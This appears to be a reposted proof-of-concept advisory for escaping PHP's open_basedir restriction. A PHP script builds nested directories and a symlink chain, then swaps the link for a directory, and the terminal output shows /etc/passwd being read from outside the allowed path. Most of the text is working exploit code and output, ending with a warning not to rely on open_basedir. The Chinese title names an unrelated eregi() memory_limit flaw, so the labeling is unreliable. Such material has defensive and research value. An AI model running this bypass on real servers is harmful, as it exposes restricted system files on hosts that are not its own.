php 5.4漏洞,PHP 5.4/5.3弃用函数eregi() memory_limit绕过漏洞

PoC:

127# cat sym.php

<?php

symlink("/etc/passwd", "./symlink");

?>

127# php sym.php

PHP Warning: symlink(): open_basedir restriction in effect. File(/etc/passwd) is not \

within the allowed path(s): (/www) in /www/test/sym.php on line 2

Warning: symlink(): open_basedir restriction in effect. File(/etc/passwd) is not \

within the allowed path(s): (/www) in

/www/test/sym.php on line 2

127#

open_basedir will disallow /etc/passwd.

Let`s see:

127# ls -la

total 8

drwxr-xr-x 2 www www 512 Oct 20 00:33 .

drwxr-xr-x 13 www www 1536 Oct 20 00:26 ..

-rw-r--r-- 1 www www 356 Oct 20 00:32 kakao.php

-rw-r--r-- 1 www www 45 Oct 20 00:26 sym.php

127# pwd

/www/test

127# cat kakao.php

<?php

mkdir("abc");

chdir("abc");

mkdir("etc");

chdir("etc");

mkdir("passwd");

chdir("..");

mkdir("abc");

chdir("abc");

mkdir("abc");

chdir("abc");

mkdir("abc");

chdir("abc");

chdir("..");

chdir("..");

chdir("..");

chdir("..");

symlink("abc/abc/abc/abc","tmplink");

symlink("tmplink/../../../etc/passwd", "exploit");

unlink("tmplink");

mkdir("tmplink");

?>

127# php kakao.php

127# ls -la

total 12

drwxr-xr-x 4 www www 512 Oct 20 00:37 .

drwxr-xr-x 13 www www 1536 Oct 20 00:26 ..

drwxr-xr-x 4 www www 512 Oct 20 00:37 abc

lrwxr-xr-x 1 www www 27 Oct 20 00:37 exploit -> tmplink/../../../etc/passwd

-rw-r--r-- 1 www www 356 Oct 20 00:32 kakao.php

-rw-r--r-- 1 www www 45 Oct 20 00:26 sym.php

drwxr-xr-x 2 www www 512 Oct 20 00:37 tmplink

127# cat exploit

# passwd

#

root:*:0:0:god:/root:/bin/csh

..

now "tmplink" is a directory. so link "exploit" will be "../../etc/passwd". We don't \

need bypass open_basedir, it is a design mistake. PHP will allow \

"tmplink/../../../etc/passwd" because ./tmplink/../../../etc/passwd really exists.

PoC:

http://cxsecurity.com/issue/WLB-2012030270

Remember. Don't use open_basedir as a main security feature.